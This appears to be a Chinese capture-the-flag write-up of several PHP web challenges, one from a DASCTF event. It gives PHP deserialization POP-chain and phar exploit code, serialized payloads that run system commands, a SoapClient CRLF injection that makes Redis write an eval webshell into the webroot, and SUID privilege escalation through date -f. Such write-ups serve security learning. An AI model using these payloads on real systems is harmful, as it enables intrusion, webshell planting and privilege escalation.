赞
踩
源码:
<?php highlight_file(__FILE__); error_reporting(0); class fine { private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __invoke() { call_user_func($this->cmd, $this->content); } public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } } class show { public $ctf; public $time = "Two and a half years"; public function __construct($ctf) { $this->ctf = $ctf; } public function __toString() { return $this->ctf->show(); } public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; } } class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } public function __sleep() { $this->hint = new secret_code(); } public function __get($name) { $name = $this->key; $name(); } public function __destruct() { if ($this->password == $this->name) { echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } } public function getPassword() { return $this->password; } public function setPassword($password): void { $this->password = $password; } } class secret_code { protected $code; public static function secret() { include_once "hint.php"; hint(); } public function __call($name, $arguments) { $num = $name; $this->$num(); } private function show() { return $this->code->secret; } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); } ?>
poc:
<?php class fine { public $cmd; public $content; } class secret_code { public $code; } class show { public $ctf; public $time; } class sorry { public $name; public $password; public $hint; public $key; } $sorry = new sorry(); $sorry2 = new sorry(); $show = new show(); $secret_code = new secret_code(); $fine = new fine(); $sorry->hint = $show; $show->ctf = $secret_code; $secret_code->code = $sorry2; $sorry2->key = $fine; $fine->cmd = 'system'; $fine->content = 'cat /flag'; echo serialize($sorry); ?>
payload:只需要绕过 fine 类的 __wakeup 就可以了。
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
源码获取:search 界面,filename 参数获取源码,这些大家都会,怎么获取 flag 才是难点。
主要就是 class.php
:
<?php class User { public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } } } class File { #更新黑名单为白名单,更加的安全 public $white = array("jpg","png"); public function show($filename){ echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>'; if(empty($filename)){die();} return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; } } #更新了一个恶意又有趣的Test类 class Test { public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); } }
test
类中的 backdoor
函数可以执行 system
,但有过滤,过滤了字母数字和三个符号,并且 system
无法执行异或、取反、或,且反序列化后会先执行 __wakeup
再执行 backdoor
,这边的 __wakeup
无法绕过,因为 php
的版本不符合,那么怎么使 value
值不发生改变呢?这边就涉及到一个小的知识点:我们只需要让 value
指向一个变量的地址,这样它的值就无法改变了。
class Test { public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); } }
在保证 value
不会被改变的情况下,怎么绕过 preg_match
执行 shell
呢?这边又有一个小知识点:在 linux 中,. ./*
会把当前目录下的所有文件当作 sh 文件执行。
且在这题中我们可以上传文件,那没我们可以上传一个 jpg
文件,内容为:
#/bin/sh
ls /
问题又来了,怎么令 value
为 . ./*
呢?我们接着看 User
类,在 __wakeup
中 $this->username = $_SESSION["username"];
,也就是 $this->username == 我们的登录名
,那么我们是就可以在登录时,以 . ./*
为登录名,然后令 Test
类中的 value
指向 username
,因为 username
是可控的。
class User { public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } } }
poc:
<?php class User { public $username; } class Test { public $value; } $User = new User(); $Test = new Test(); $User->a = $Test; $Test->value = &$User->username; echo serialize($User); $phar = new Phar("ddd.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($User); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
最后读取flag,base64 解码 file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
预期解就是利用 * /*
,把文件名当作命令,例如我们的文件名是 cat
那么就是 cat /*
,但这个有个局限性,就 cat 而言,如果它不是排在第一位,就无法执行,反之可以。
回到题目,那么我们先要上传一个 cat
名字的文件,那要怎么传呢?在 test
类中的 __toString
可以传文件,且文件名是可控的。
且在 User
类中的 __destruct
存在 $this->username == ''
弱比较,可以令 username
为 test
类 ,这样就可以触发 __toString
了。
那么 User
类中的 __wakeup
该怎么绕过呢?可以令 username
为一个数组,这样 username
就可以改为 test
类了。
第一条链子:
<?php class User { public $username; } class Test { public $value; } $User = new User(); $Test = new Test(); $User->username = $Test; echo serialize($User); $phar = new Phar("ddd.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($User); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
此时 cat
已经写进去。
那么第二步就和非预期解一样了,只不过这次的 username == * /*
<?php class User { public $username; } class Test { public $value; } $User = new User(); $Test = new Test(); $User->a = $Test; $Test->value = &$User->username; echo serialize($User); $phar = new Phar("ddd.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($User); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
先读 hint.php
<?php
class hint{
public $hint = 'php://filter/read=convert.base64-encode/resource=/var/www/html/';
}
echo serialize(new hint());
hint.php 源码:
<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>
有 redis 且有密码是 202203111,所以我们可以通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。
想了解 redis 未经授权访问的移步:https://blog.csdn.net/shinygod/article/details/127034013
第 360 题。
SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692
poc:
<?php class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct(){ $this->wllm = 'SoapClient'; $this->l61q4cheng = array( 'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE", 'uri'=>'bbb', 'location'=>'http://127.0.0.1:6379' ); } } echo urlencode(serialize(new swpu()));
这边反序列化后可以等一会就可以蚁剑连了,网页在转圈的原因是没有收到返回的信息自然就会在那边一直转。
flag 文件没有权限读取,这边学到了一个提权的小知识,suid 提权。
这边的 date 可执行文件中的 s 就是 suid 了。
提权payload:
find / -perm -u=s -type f 2>/dev/null
date -f /hereisflag/flllll111aaagg
如果还有什么方法,希望大叫能够告之 ^ _ ^ ,最后这题感觉主从复制应该也行。
有点难,以后集合再弄吧
dasctf 微信公众号里的 wp 文档
https://pysnow.cn/archives/566/
https://blog.csdn.net/qq_64201116/article/details/127541200?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&utm_relevant_index=9
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。